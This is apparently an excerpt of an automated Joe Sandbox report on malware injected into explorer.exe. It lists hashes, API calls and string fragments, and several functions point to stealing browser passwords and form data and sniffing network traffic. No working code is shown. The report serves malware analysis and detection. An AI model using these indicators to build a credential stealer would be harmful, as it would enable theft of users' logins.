                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e7a0000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: send
                                                                                                                                                                                    • String ID: send
                                                                                                                                                                                    • API String ID: 2809346765-2809346765
                                                                                                                                                                                    • Opcode ID: bba6785c5ab04fc1c912927f20b2eaf94db183ef6292e2548e0bd7e75e2cf9a2
                                                                                                                                                                                    • Instruction ID: 7c8b6130748e4af9a33583413cffdcbf3c736c71d55fc56c941d8b393c811c88
                                                                                                                                                                                    • Opcode Fuzzy Hash: bba6785c5ab04fc1c912927f20b2eaf94db183ef6292e2548e0bd7e75e2cf9a2
                                                                                                                                                                                    • Instruction Fuzzy Hash: 4D011270518A188FDBC4EF1CE489B2577E0EB58314F1545AED85DCB266C670D8818B81
                                                                                                                                                                                    Function 0E7DE5B2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49networkCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 412 e7de5b2-e7de5ea 413 e7de5ec-e7de604 call e7e1942 412->413 414 e7de60a-e7de62b socket 412->414 413->414
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541526555.000000000E7A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0E7A0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e7a0000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: socket
                                                                                                                                                                                    • String ID: sock
                                                                                                                                                                                    • API String ID: 98920635-2415254727
                                                                                                                                                                                    • Opcode ID: 205056058728d72a76f2a9c444eb1655fc63b7523a02cb36171bec795444162f
                                                                                                                                                                                    • Instruction ID: fb0a09f3cd5739784aca33785a6bec04a905ae6f632fad7f5825b16323e2ed3e
                                                                                                                                                                                    • Opcode Fuzzy Hash: 205056058728d72a76f2a9c444eb1655fc63b7523a02cb36171bec795444162f
                                                                                                                                                                                    • Instruction Fuzzy Hash: CF012C70618A188FCB84EF1CE048B54BBE0FB59314F1545AEE85EDB276C7B0C9858B86
                                                                                                                                                                                    Function 0E7D62DD Relevance: 1.6, APIs: 1, Instructions: 91COMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 417 e7d62dd-e7d6320 call e7e1942 420 e7d63fa-e7d640e 417->420 421 e7d6326 417->421 422 e7d6328-e7d6339 SleepEx 421->422 422->422 423 e7d633b-e7d6341 422->423 424 e7d634b-e7d6352 423->424 425 e7d6343-e7d6349 423->425 427 e7d6354-e7d635a 424->427 428 e7d6370-e7d6376 424->428 425->424 426 e7d635c-e7d636a call e7e0f12 425->426 426->428 427->426 427->428 430 e7d6378-e7d637e 428->430 431 e7d63b7-e7d63bd 428->431 430->431 435 e7d6380-e7d638a 430->435 432 e7d63bf-e7d63cf call e7d6e72 431->432 433 e7d63d4-e7d63db 431->433 432->433 433->422 437 e7d63e1-e7d63f5 call e7d60f2 433->437 435->431 438 e7d638c-e7d63b1 call e7d7432 435->438 437->422 438->431
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541526555.000000000E7A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0E7A0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e7a0000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Sleep
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 3472027048-0
                                                                                                                                                                                    • Opcode ID: 2c485226c71f8ce073f7c86c27236fb263c26e76649b5794a31fce9b42c1bba6
                                                                                                                                                                                    • Instruction ID: 6571b737048eb055a1008103bccf0e632530374a3e3d520529100f5a14dacd0d
                                                                                                                                                                                    • Opcode Fuzzy Hash: 2c485226c71f8ce073f7c86c27236fb263c26e76649b5794a31fce9b42c1bba6
                                                                                                                                                                                    • Instruction Fuzzy Hash: F4316DB0518B49DFDB64EFA980882A9B7B1FB58300F44467EC91DCB216C7749858CFD1
                                                                                                                                                                                    Function 0E7D6412 Relevance: 1.5, APIs: 1, Instructions: 46threadCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 453 e7d6412-e7d6446 call e7e1942 456 e7d6448-e7d6472 call e7e3c9e CreateThread 453->456 457 e7d6473-e7d647d 453->457
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541526555.000000000E7A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0E7A0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e7a0000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: CreateThread
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2422867632-0
                                                                                                                                                                                    • Opcode ID: 86dfbf082f461ee8d50c48ad175151c38d579804c722c71aa6313b9ca1572f48
                                                                                                                                                                                    • Instruction ID: 68ff6b64fc5c6f0d030d1dfbc1f738686ba7356a5be5073a2a281d549a3f13ac
                                                                                                                                                                                    • Opcode Fuzzy Hash: 86dfbf082f461ee8d50c48ad175151c38d579804c722c71aa6313b9ca1572f48
                                                                                                                                                                                    • Instruction Fuzzy Hash: CFF0F630268A484FD788EF2CD48563AF3E0FBEC214F454A3EA58DC3364DA39C9824756

                                                                                                                                                                                    Non-executed Functions

                                                                                                                                                                                    Function 0E6EFD02 Relevance: 14.2, Strings: 11, Instructions: 404COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: .dll$32.d$M$S$dll$el32$kern$ll$net.$user$wini
                                                                                                                                                                                    • API String ID: 0-393284711
                                                                                                                                                                                    • Opcode ID: 666e7131670ab6034242d7bb31114c5afc39a2cef586e73e73495a4832ac64d3
                                                                                                                                                                                    • Instruction ID: e0f65012bd1bc9d96dd0e19f41ce536e094c9043064829780a4d370cbc8648be
                                                                                                                                                                                    • Opcode Fuzzy Hash: 666e7131670ab6034242d7bb31114c5afc39a2cef586e73e73495a4832ac64d3
                                                                                                                                                                                    • Instruction Fuzzy Hash: 10E15B70518F488FC764EF68D4947AAB7E1FB98300F504A2ED69BC7245DF30A945CB89
                                                                                                                                                                                    Function 0E6F2792 Relevance: 21.6, Strings: 17, Instructions: 321COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: Fiel$Subm$d$dPas$dUse$e$encr$encr$form$guid$itUR$name$rnam$swor$user$ypte$ypte
                                                                                                                                                                                    • API String ID: 0-2916316912
                                                                                                                                                                                    • Opcode ID: 1a4675aa69093f914decc08927043d33ef050167d1a45f8fb32d144d534e0ced
                                                                                                                                                                                    • Instruction ID: 7237f1c0ca89addac04b4eed3807075602e86a460ea196c5b88a09de36002a1d
                                                                                                                                                                                    • Opcode Fuzzy Hash: 1a4675aa69093f914decc08927043d33ef050167d1a45f8fb32d144d534e0ced
                                                                                                                                                                                    • Instruction Fuzzy Hash: 27B17930518B488EDB59EFA8D485AEEB7F1FF98300F50491ED59AC7261EF7098058B86
                                                                                                                                                                                    Function 0E6F0622 Relevance: 21.4, Strings: 17, Instructions: 151COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: 2$c$d$d$d$e$i$l$l$l$n$n$p$s$t$u$w
                                                                                                                                                                                    • API String ID: 0-1539916866
                                                                                                                                                                                    • Opcode ID: e72b72cb0cc01a4fb435a8ab5948bc97e669459bbd1002971cdc116c820d8f81
                                                                                                                                                                                    • Instruction ID: 621c677fcfc5eb02dd3d266d6dbe9e11838b5e9ad02b583136e25ce2021caad5
                                                                                                                                                                                    • Opcode Fuzzy Hash: e72b72cb0cc01a4fb435a8ab5948bc97e669459bbd1002971cdc116c820d8f81
                                                                                                                                                                                    • Instruction Fuzzy Hash: 2841BE70A18B08CFDB54DF88A8556BE7BE2FB88700F00025ED909D3346DBB59D458BD6
                                                                                                                                                                                    Function 0E6F7AB2 Relevance: 17.8, Strings: 14, Instructions: 339COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: D$[$[$[$[$[$]$]$b$c$e$l$l$n
                                                                                                                                                                                    • API String ID: 0-355182820
                                                                                                                                                                                    • Opcode ID: 5b00ea5ff0ac38f91c5f3451741050e74e6bfffb06a4f81f7af14d2d93e98743
                                                                                                                                                                                    • Instruction ID: 5ff2302e8d660dade86779ccc96537fe7d49d74905720d6e948c3e18228d9a0b
                                                                                                                                                                                    • Opcode Fuzzy Hash: 5b00ea5ff0ac38f91c5f3451741050e74e6bfffb06a4f81f7af14d2d93e98743
                                                                                                                                                                                    • Instruction Fuzzy Hash: E9C15B70218B088FC759EF68D495A9AF3E1FB94304F504B2ED5AEC7250DF30A915CB8A
                                                                                                                                                                                    Function 0E6F7F12 Relevance: 15.2, Strings: 12, Instructions: 201COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: .$0$c$n$r$r$r$r$r$r$r$r
                                                                                                                                                                                    • API String ID: 0-97273177
                                                                                                                                                                                    • Opcode ID: c99d8b63ad26ee68af9772b0c2f17264c0bbc41cf5067afa0da8e01a5053a168
                                                                                                                                                                                    • Instruction ID: 9efd1b4bda838a0dbf7db721b108268bb6fb01d06b140842276b67277f69483c
                                                                                                                                                                                    • Opcode Fuzzy Hash: c99d8b63ad26ee68af9772b0c2f17264c0bbc41cf5067afa0da8e01a5053a168
                                                                                                                                                                                    • Instruction Fuzzy Hash: C951C0312187488FD719DF18E8852AAB7E5FBC5700F501A6EE9CBC7241DBB49906CB82
                                                                                                                                                                                    Function 0E6F12F4 Relevance: 10.4, Strings: 8, Instructions: 380COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: 4.dl$cli.$dll$dragon_s.dll$l$nspr$opera_browser.dll$sspi
                                                                                                                                                                                    • API String ID: 0-639201278
                                                                                                                                                                                    • Opcode ID: 3bb0ec29e48dc84c2f9ecdcc79ab9852c4e3249089256f700559b0558053754d
                                                                                                                                                                                    • Instruction ID: 637c2cda1353660a5c4d35c2786086bd165eed4563993ae7bad0854e34cfb8a2
                                                                                                                                                                                    • Opcode Fuzzy Hash: 3bb0ec29e48dc84c2f9ecdcc79ab9852c4e3249089256f700559b0558053754d
                                                                                                                                                                                    • Instruction Fuzzy Hash: E7C19070618A198FC758EF68E455AAAB3E1FB98300F94472DC50EC7255DF30EE018BCA
                                                                                                                                                                                    Function 0E6F12F2 Relevance: 10.4, Strings: 8, Instructions: 380COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: 4.dl$cli.$dll$dragon_s.dll$l$nspr$opera_browser.dll$sspi
                                                                                                                                                                                    • API String ID: 0-639201278
                                                                                                                                                                                    • Opcode ID: f43930ec246ad51b32166c0bc4bf79f326171222225a5f9c9c86c27c8781e096
                                                                                                                                                                                    • Instruction ID: 26d8881f709eff46ea5a2f0623d5dfccdcec64d78ec60cc915e7b9910f9668b5
                                                                                                                                                                                    • Opcode Fuzzy Hash: f43930ec246ad51b32166c0bc4bf79f326171222225a5f9c9c86c27c8781e096
                                                                                                                                                                                    • Instruction Fuzzy Hash: 3CC19070618A198FC758EF68E455AAAB3E1FB98300F54472DD50EC7255DF30DE018BCA
                                                                                                                                                                                    Function 0E6F2CD4 Relevance: 9.0, Strings: 7, Instructions: 299COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: UR$2$L: $Pass$User$name$word
                                                                                                                                                                                    • API String ID: 0-2058692283
                                                                                                                                                                                    • Opcode ID: 192ee3367620c7562f2382bb65b9fc05a299a96abcb0fffb8f15ec5ae1331477
                                                                                                                                                                                    • Instruction ID: 4ae08d3a9e0993f4bfaea7878ca2390bf7261d517632b67240f3547b860e685d
                                                                                                                                                                                    • Opcode Fuzzy Hash: 192ee3367620c7562f2382bb65b9fc05a299a96abcb0fffb8f15ec5ae1331477
                                                                                                                                                                                    • Instruction Fuzzy Hash: 8AA1CF70618748CBDB19EFA8E4447EEB7E1FF99300F00462ED58AD7251EF7089458B89
                                                                                                                                                                                    Function 0E6F2CE2 Relevance: 9.0, Strings: 7, Instructions: 288COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: UR$2$L: $Pass$User$name$word
                                                                                                                                                                                    • API String ID: 0-2058692283
                                                                                                                                                                                    • Opcode ID: 811dc63e753d913bd80861ecf29671c0ec5da9e3b6d1a04c89c314a6a3ecac4a
                                                                                                                                                                                    • Instruction ID: 2c247cd10e22ea507e5da7439a6123d95372f1652e6677b868b11fa26f417026
                                                                                                                                                                                    • Opcode Fuzzy Hash: 811dc63e753d913bd80861ecf29671c0ec5da9e3b6d1a04c89c314a6a3ecac4a
                                                                                                                                                                                    • Instruction Fuzzy Hash: DF919F70618748CBDB19EFA8E444BEEB7E1FB99300F00462ED58ED7251EF7089458B89
                                                                                                                                                                                    Function 0E6F2352 Relevance: 6.5, Strings: 5, Instructions: 242COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: $.$e$n$v
                                                                                                                                                                                    • API String ID: 0-1849617553
                                                                                                                                                                                    • Opcode ID: 88e172b8451cd2a9b002e6988e8bcb77ce4cb4dc6623ca34b6f08ddcd3f94e84
                                                                                                                                                                                    • Instruction ID: 9fc9b38f8fb4bf5a41201dee8bef9d4632c740b9caa7e4d015f542127d63cdeb
                                                                                                                                                                                    • Opcode Fuzzy Hash: 88e172b8451cd2a9b002e6988e8bcb77ce4cb4dc6623ca34b6f08ddcd3f94e84
                                                                                                                                                                                    • Instruction Fuzzy Hash: 3771AE31618B09CFD718EFA8D4947AAB7F1FF98305F000A2ED54AC7221EB70AD458B85
                                                                                                                                                                                    Function 0E6EDC32 Relevance: 6.4, Strings: 5, Instructions: 175COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: 2.dl$dll$l32.$ole3$shel
                                                                                                                                                                                    • API String ID: 0-1970020201
                                                                                                                                                                                    • Opcode ID: b134dbd9f6717a83955f5285ab3b339b989e1d50f8699707141bdd3daa24f32e
                                                                                                                                                                                    • Instruction ID: 5f6d654bf34c2ca3a128071255bd8e3e888c33546bd98b29960ddea7f7946fce
                                                                                                                                                                                    • Opcode Fuzzy Hash: b134dbd9f6717a83955f5285ab3b339b989e1d50f8699707141bdd3daa24f32e
                                                                                                                                                                                    • Instruction Fuzzy Hash: 7F514DB0914B4C8BDB55EFA8D0446EEB7E1FF58300F404A2ED59AE7254EF3095418B8A
                                                                                                                                                                                    Function 0E6EE86F Relevance: 6.4, Strings: 5, Instructions: 157COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: 4$\$dll$ion.$vers
                                                                                                                                                                                    • API String ID: 0-1610437797
                                                                                                                                                                                    • Opcode ID: 946c6b85a27e95b541945c97fc8955ce25e9cbbf861c78f5b4a7a89501b4aa4c
                                                                                                                                                                                    • Instruction ID: 440c0ae14904140a1e9626c936097bba405da9629e016d8800ace43ff1aad11f
                                                                                                                                                                                    • Opcode Fuzzy Hash: 946c6b85a27e95b541945c97fc8955ce25e9cbbf861c78f5b4a7a89501b4aa4c
                                                                                                                                                                                    • Instruction Fuzzy Hash: E9418F30219B488BDB65EF68A8557EAB3E4FB99301F40462E999EC7340EF31D9058782
                                                                                                                                                                                    Function 0E6F04B2 Relevance: 6.4, Strings: 5, Instructions: 149COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: 32.d$cli.$dll$sspi$user
                                                                                                                                                                                    • API String ID: 0-327345718
                                                                                                                                                                                    • Opcode ID: 4331b437e8e8c33b9d3042ca7a101e9875946b76dc224aa53cf86a4375d9541a
                                                                                                                                                                                    • Instruction ID: 444f8e4ac70ddab5ea67485b6fc9c7f1bf8d27fbb6f51a2170f7b2845dbeb7ad
                                                                                                                                                                                    • Opcode Fuzzy Hash: 4331b437e8e8c33b9d3042ca7a101e9875946b76dc224aa53cf86a4375d9541a
                                                                                                                                                                                    • Instruction Fuzzy Hash: DF415C30A18E0DCFCB94EF68E1947AD73E5FB58302F40456AE90AD7202DA74D9818BC6
                                                                                                                                                                                    Function 0E6EE432 Relevance: 5.1, Strings: 4, Instructions: 143COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: .dll$el32$h$kern
                                                                                                                                                                                    • API String ID: 0-4264704552
                                                                                                                                                                                    • Opcode ID: 9359c1e703a927bbfeba22f12881d3372b40fdd04c475320464a891c53438f4c
                                                                                                                                                                                    • Instruction ID: 07eb76689bb2234b4cc80d9bab10abe5eec3474060968a61541959e8383646ab
                                                                                                                                                                                    • Opcode Fuzzy Hash: 9359c1e703a927bbfeba22f12881d3372b40fdd04c475320464a891c53438f4c
                                                                                                                                                                                    • Instruction Fuzzy Hash: 5041B570609B488FD768DF2890843BAB7E1FB98300F104A6E959EC3795EB71C845CB86
                                                                                                                                                                                    Function 0E6F50B9 Relevance: 5.1, Strings: 4, Instructions: 110COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: $Snif$f fr$om:
                                                                                                                                                                                    • API String ID: 0-3434893486
                                                                                                                                                                                    • Opcode ID: 09bcdfac33ec1e4ec0111ee2ca4a837fb2c377919df94419edd54a6c0362b305
                                                                                                                                                                                    • Instruction ID: 14f4724735800e1f607859445e444f73ec02644917bf33e51a43c469c6cc5fea
                                                                                                                                                                                    • Opcode Fuzzy Hash: 09bcdfac33ec1e4ec0111ee2ca4a837fb2c377919df94419edd54a6c0362b305
                                                                                                                                                                                    • Instruction Fuzzy Hash: 8431F03150DB88AFD71AEB68E0846DAB7D4FB84300F504D1EE59BC7251EE31A94ACB47
                                                                                                                                                                                    Function 0E6F50C2 Relevance: 5.1, Strings: 4, Instructions: 109COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: $Snif$f fr$om:
                                                                                                                                                                                    • API String ID: 0-3434893486
                                                                                                                                                                                    • Opcode ID: 3ff11923ba7cb27a5852b7160a0339692380a5748f6322a3f9139bc862c068a3
                                                                                                                                                                                    • Instruction ID: 84fe160e184fd41f345b1a25ea542223cc7a6ed4c75b2502c0274aa1293eb82b
                                                                                                                                                                                    • Opcode Fuzzy Hash: 3ff11923ba7cb27a5852b7160a0339692380a5748f6322a3f9139bc862c068a3
                                                                                                                                                                                    • Instruction Fuzzy Hash: 0A31E071508B48AFD71AEB68E4846EAB7D5FB94300F504D1EE59BC3351EE30AD06CB46
                                                                                                                                                                                    Function 0E6F0FC2 Relevance: 5.1, Strings: 4, Instructions: 106COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: .dll$chro$hild$me_c
                                                                                                                                                                                    • API String ID: 0-3136806129
                                                                                                                                                                                    • Opcode ID: b79a347c44b7e53efbef1ad5a08501038d02bf17702d136fbf8a30590be9006b
                                                                                                                                                                                    • Instruction ID: f88433ff98d8119b9b9cf35a916650338cbd9ac5758d1c9ea38109a700ebb8ff
                                                                                                                                                                                    • Opcode Fuzzy Hash: b79a347c44b7e53efbef1ad5a08501038d02bf17702d136fbf8a30590be9006b
                                                                                                                                                                                    • Instruction Fuzzy Hash: 20318D30118B488FCB84EF68A494BAAB7E1FBD9300F840A2DD54ECB355DF30C9058B96
                                                                                                                                                                                    Function 0E6F0FBF Relevance: 5.1, Strings: 4, Instructions: 105COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: .dll$chro$hild$me_c
                                                                                                                                                                                    • API String ID: 0-3136806129
                                                                                                                                                                                    • Opcode ID: 451ecfdc7a6dd194cc49c0618832622829ee31958d951160e0d103bd60c3dca9
                                                                                                                                                                                    • Instruction ID: c904281207ca6f13a2788fe4af5318bee97dbb9061eb072439456be29f42be8f
                                                                                                                                                                                    • Opcode Fuzzy Hash: 451ecfdc7a6dd194cc49c0618832622829ee31958d951160e0d103bd60c3dca9
                                                                                                                                                                                    • Instruction Fuzzy Hash: 38317E70118B488FCB84EF68A494BAAB7E1FBD9300F944A2DD54ECB355DF30C9058B96
                                                                                                                                                                                    Function 0E6F38C2 Relevance: 5.1, Strings: 4, Instructions: 100COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541383124.000000000E650000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E650000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e650000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: User-Agent: $nt: $on.d$urlmon.dll
                                                                                                                                                                                    • API String ID: 0-319646191
                                                                                                                                                                                    • Opcode ID: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
                                                                                                                                                                                    • Instruction ID: fd621d66f1472902d0d1e2015f25ef8b332bb0473c7addf190012d23389d3fd5
                                                                                                                                                                                    • Opcode Fuzzy Hash: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
